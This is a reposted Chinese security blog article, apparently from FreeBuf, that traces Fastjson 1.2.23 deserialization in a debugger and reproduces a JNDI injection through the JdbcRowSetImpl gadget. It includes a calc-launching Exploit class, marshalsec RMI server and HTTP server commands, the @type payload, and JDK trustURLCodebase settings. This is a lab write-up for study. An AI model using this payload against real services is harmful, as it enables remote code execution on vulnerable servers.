范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

利用JdbcRowSetImpl链对Fastjson1。2。23Jndi注入

  1.Fastjson介绍
  Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
  主要特点:
  1.快速FAST (比其它任何基于Java的解析器和生成器更快,包括jackson)
  2.强大(支持普通JDK类包括任意Java Bean Class、Collection、Map、Date或enum)
  3.零依赖(除了JDK没有依赖其它任何类库) 2.Fastjson实验环境搭建
  Fastjson版本1.2.23下载地址https://repo1.maven.org/maven2/com/alibaba/fastjson/
  https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.23
  jdk1.8.151下载地址 https://repo.huaweicloud.com/java/jdk/8u151-b12/根据系统选择版本
  我使用IDEA进行代码调试 1.使用Idea新建一个项目
  2.pom.xml中添加FastJson版本依赖
  依赖代码如下    com.alibaba fastjson 1.2.23   3.Fastjson简单使用1.定义一个User类
  代码如下:里面包含getName(),setName(),getAge(),sestAge() public class User { private String name; private int age;  public User() {}  public User(String name, int age) { this.name = name; this.age = age; }  public String getName() { return name; }  public void setName(String name) {         this.name = name;         System.out.println("setName");         System.out.println(this.name);  }  public int getAge() { return age; }  public void setAge(int age) {         this.age = age;         System.out.println("setName");         System.out.println(this.age); } } 2.新建一个test类,用于测试执行解析过程import com.alibaba.fastjson.*; public class test { public static void main(String[] argv){ testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl(){ String str = "{"@type":"User","name":"cmd"}"; Object obj1 = JSON.parseObject(str); } } 4.Fastjson解析过程调试分析调试开始
  在此次设置断点,点击debug开始调试
  按f7步入进入pareseObject后再进入parse方法
  进入parse方法
  进入重载parse方法
  跟进DefaultJSONParser构建方法
  该类主要是设置一些参数input,config,symbolTable和token。
  返回到json类,继续向下执行parser.parse()
  根据token=12跳转到该行,跟进new JSONObject
  此处是根据传进来的ordered值去判断使用链表哈希还是哈希。传入值为false所以使用HashMap.
  执行完成后返回到case条件中,继续跟进parseObject()
  进入判断首字符是否为",然后读取双引号内容为@type赋值为key.
  此处判断key是否等于@type,获取需要反序列化类名称,并加载类。
  进入loadClass,前面逻辑不满足,一直步入到1032行,加载User类,并将className和clazz存入mapping中
  返回到DefaultJSONParser类中继续执行,走到367行,跟进config.getDeserializer方法
  进入判断type为Class的实例对象,进入重载的getDeserializer方法。
  向下执行到360行,该处获取类名并将$替换为.并判断类名是否在denylist中。denylist只有java.lang.Thread类。继续向下执行。
  此处判断clazz是否为num,array等,最终判断到457行,进入关键的createJavaBeanDeserializer方法
  跟进createJavaBeanDeserializer,进入一系列判断,执行到522关键代码JavaBeanInfo.build.
  跟进JavaBeanInfo.build
  declaredFields获取变量名,methods获取类方法
  向下执行遇到3个for循环。
  第一个for循环是用来获得满足条件的set方法
  1函数名长度大于4
  2非静态函数
  3返回类型为void
  4当前类参数个数为1个的方法
  第二个for循环是用来判断类定义的变量是否在public和static类型或属于Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong类
  第三个for循环是用来判断满足条件的get方法
  1、方法名长度大于等于4
  2、方法名以get开头
  3、方法名第4个字母为大写
  4、无需传参
  5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong
  最后满足条件的方法有,setName和setAge
  在第538行将获取到的方法构建一个JavaBeanInfo并返回。
  跳转出JavaBeanInfo类,继续在Parseconfig类中执行
  第533行进入for循环判断beanInfo.fields中的name和age类的类型。
  继续执行跳转到Parseconfig类第460行最后返回一个Fastjson反序列化器
  向下执行跳转到DefaultJSONParser类第368行,跟进deserializer.deserialze方法,由于进入了上一步的反序列化器,这部分代码由于是 动态生成 的所以无法调试。
  F8步出,可观察到控制台输入了setName和cmd,这段设置值的过程等会我们通过 JdbcRowSetImpl 链来分析
  小结
  Json.parse()
  根据text, ParserConfig.getGlobalInstance(), features创建并初始化DefaultJSONParer解析器。实例参数如图下图
  DefaultJSONParser.parse()
  根据lexer.token()值进入到case 12,初始化了一个JSONObject对象,并将其储存在Hashmap中
  DefaultJSONParser.parseObject()
  这里是根据获取到的@type值,进入到TypeUtils.loadClass去加载@type后面跟的类。
  TypeUtils.loadClass根据传入的类名去加载类
  进入到config.getDeserializer,判断类名是否在denylist中,进入createJavaBeanDeserializer
  createJavaBeanDeserializer进入JavaBeanInfo.build,JavaBeanInfo.build主要是获得满足条件的set,get方法。
  最后在deserializer.deserialze触发setvalue后使用invoke方法去set值。
  5.JdbcRowSetImpl链调用分析1.生成恶意类public class Exploit { public Exploit() {     try {         Runtime.getRuntime().exec("calc");     } catch (Exception var2) {         var2.printStackTrace();     }  }  public static void main(String[] var0) {     new Exploit(); }
  将其编译成.class文件,
  操作如下进入到Exploit所在文件夹内,打开控制台,输入javac Exploit.java 即可完成编译。 2启动相关服务
  启动http
  进入到Exploit所在文件夹内,打开控制台,输入
  python -m http.server 8000我python版本为3
  启动RMI
  进入到marshalsec-0.0.3-SNAPSHOT-all.jar所在文件夹内,输入
  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389
  payload :String str = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit","autoCommit":false}";
  RMI利用前提
  JDK 6u132, JDK 7u122, JDK 8u113 之前可用,之后的版本需要在解析payload前加上如下代码
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
  开始调试,我们跳过之前的步骤,直接进入到 deserializer.deserialze 到parseField下断点
  跟进进入到这个函数
  继续跟进,进入到setValue中,反射调用setDataSourceName()方法
  进入JdbcRowSetImpl中setDataSourceName()
  返回后继续执行setvalue()方法会去反射调用setAutocommit()
  在setAutocommit()中会去调用connect()方法,然后进入到Initialcontext#lookup()触发JNDI注入。
  6.参考文章
  Fastjson 反序列化
  FastJson_1.2.24 反序列化漏洞复现+解析
  申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。
  本文作者:wizardyc, 转载来自FreeBuf.COM

三位省部级履新最新人事三位省部级履新来看详情梁言顺当选宁夏回族自治区人大常委会主任,张雨浦当选宁夏回族自治区主席据宁夏日报消息,5月21日上午,宁夏回族自治区十二届人大六次会议举行第二次全体会议女大学生私会男友涉嫌犯罪是个人利己主义至上的结果个人利己主义是一种只顾自己利益而不顾别人利益和集体利益的思想。利己主义者一向把个人利益至上,认为利己是人的天性,个人利益高于一切是他们的生活态度和行为准则。从极端自私的个人目的出发6本赛季,法兰克福在欧联杯发挥出色,他们一路过关斩将,以不败的战绩登顶,时隔42年,再次捧起了冠军奖杯。此前,法兰克福在14决赛碰到巴萨,德甲劲旅成功淘汰了欧冠5冠王,晋级下一轮。接盗墓贼看到古墓旁有柳树,为何转身就走?谈到盗墓贼,许多人内心都带有一丝崇拜,但这并不是件好事儿。究其原因,只因盗墓笔记鬼吹灯等系列小说的网络爆红,为读者们塑造了一个又一个神秘角色,同时也揭开了一层面纱。这个名号有些唐突所谓ampampquot离沪潮ampampquot的其他角度的思考这几天随着部分火车航空线路的恢复运营,一些人选择离开上海。因为封控在家,只能通过网络看到虹桥火车站的离沪的新闻,有步行到的,有骑单车到的,也有高价叫车过去的,殊为不易。那么哪些人离打倒美帝国主义头号周刊普京大帝发威了,前几天发射了一枚精准的巡航导弹,把漂亮国和西方国家竭尽全力的豪不犹豫的支援乌克兰的武器装备一下灰飞烟灭。打出了俄罗斯的威风,也打出了普京大帝的形象。不要当老全球性通胀来袭!苦日子要来?别管有啥资产,管好钱袋子要紧在经济全球化的影响下,没有哪一个国家可以独善其身,受美国通胀影响,各个国家经济下行严重,因此不少人预测这将是比2008年还严重的金融风暴。上层人士玩数据,普通老百姓担惊受怕,苦日子港媒台湾为何不能参与世卫大会需要反思香港中评社快评一年一度的世界卫生大会22日开始一连七天在瑞士日内瓦举行,台湾仍未接获邀请参与,这是意料中的事。台湾为此表达强烈不满及遗憾,但于事无补,改变不了什么。我们认为,台湾参丈夫要扔掉脑瘫儿,妻子离婚独自抚养,2007年儿子成学霸考入北大2019年4月6日,东方卫视大型女性励志节目妈妈咪呀,迎来了一位传奇女子,随着她的出现,现场响起了雷鸣般的掌声,人们都想了解一下,她是如何培养自己的孩子的?她的儿子在2007年考上苦命香妃27岁玉殒,父亲殉职哥哥离世,萧剑为她痴情扫墓21年要说上世纪九十年代最火的古装剧是什么,可能答案多种多样,但这部剧的火爆程度,一定可以排进前三位那就是还珠格格。活泼机灵的小燕子温柔文雅的紫薇,英俊迷人的五阿哥,痴心一片的尔康随便哪体内有癌,脖子先知?脖子上出现4种异样,可能是疾病或癌预警6年前,83岁的老李,脖子后突然冒出一颗小痣,但不痛不痒,别人都说这是苦情痣,他也就没当回事。近两年,这颗小痣越长越大,买了药膏涂抹,也不见好转。特别是最近半年,小痣生长速度极快,
独家好未来旗下学而思大规模重启线下招生素养课将超前超纲内容纳入教学独家好未来旗下学而思大规模重启线下招生素养课将超前超纲内容纳入教学财联社3月14日电,记者近日赴多地调查了解到,正重启大规模线下招生的校外培训龙头企业学而思,在素养课包装下,把幼小奋斗铸就辉煌实干赢得未来来源经济日报高世文代表科技赋能农业升级加快建设农业强国,扎实推动乡村产业人才文化生态组织振兴,这是党的二十大报告作出的重大部署。今年政府工作报告围绕稳定粮食生产和推进乡村振兴,提出中国篮协官宣!2米26中锋入选U16国家队,女篮重点培养,未来可期就在WCBA总决赛之前,中国女篮公布了最新一期的集训名单,李月汝和韩旭两名顶级中锋依旧是目前这支球队的核心。与此同时,中国篮协也公布了中国女篮U16队的名单,身高2米26的大中锋张涨欢了!中国移动市值逼近股王茅台!选手重仓股一天大赚22!快来赢现金大奖!每经记者吴永久每经编辑何建川粉丝朋友们,今天的A股出现强劲反弹,中字头数字经济跨境支付等板块大幅上涨,巨无霸中国移动涨停,市值超越茅台仅一步之遥。在每日经济新闻APP举办的掘金大赛埃芬博格纳帅要避免重蹈安帅等人覆辙,失去球员的支持拜仁慕尼黑名宿埃芬博格可以想象主教练纳格尔斯曼在慕尼黑长期执教,但仅限于特定条件。埃芬博格表示最重要的是,你不能失去球员的支持,这对拜仁慕尼黑来说至关重要,过去有足够多的负面例子,两味药,轻松补肾益精,滋阴补阳中医认为肾为先天之本,肾中藏有元阴元阳,是人体生长发育以及五脏六腑活动的根本。因此,想要身体好,补肾少不了,如果肾虚了,人体就会出现一系列问题。比如,肾阳虚时,就会出现腰膝酸软冷痛韩国队公布最新一期大名单孙准浩入选,将与乌拉圭进行友谊赛山东泰山的引援工作在安静了一段时间后,又有了新的动作,争冠对手主力后卫任航大概率可以加盟泰山队。尽管任航已经34岁,但是他仍保持着不错的状态,而且还入选了扬科维奇最新一期的国家队,春季阿胶的食养方推荐阿胶山药羹很多人误认为阿胶春季进食会引起消化不良上火,实质上,阿胶的滋补,搭配得当,且摄入适量是可以滋补身体的。中医认为,阿胶归肺肝肾经。很多女性经期隐痛,会出现头晕耳鸣的症状。1可以使用阿注意啦!这些食物不宜反复加热!生活中很多人都有诸如此类的烦恼,许多食物一次性做多了,就会一次又一次地反复加热来吃,那么这样反复加热之后食物的成分是否会发生变化?食用后又是否会对我们人体造成一定程度的影响呢?在我产能过剩情况下,焦价如何演变一产能过剩背景下,焦化开工受利润影响明显2017年焦化行业供给侧刚刚开始,据Mysteel统计,全年共计淘汰关停18家焦化企业,涉及焦炭产能1250万吨2018年相关政策密集出台,集中回答一下,关于我借债41万炒股,股友提出的相关问题先说一下我借债炒股这事,我入市之前,我虽然经常看今日头条关于炒股方面的内容,但关于借钱炒股的内容几乎没有看到过,我真的不知道,借钱炒股是股市大忌,所以对借钱炒股的危害,可以说完全没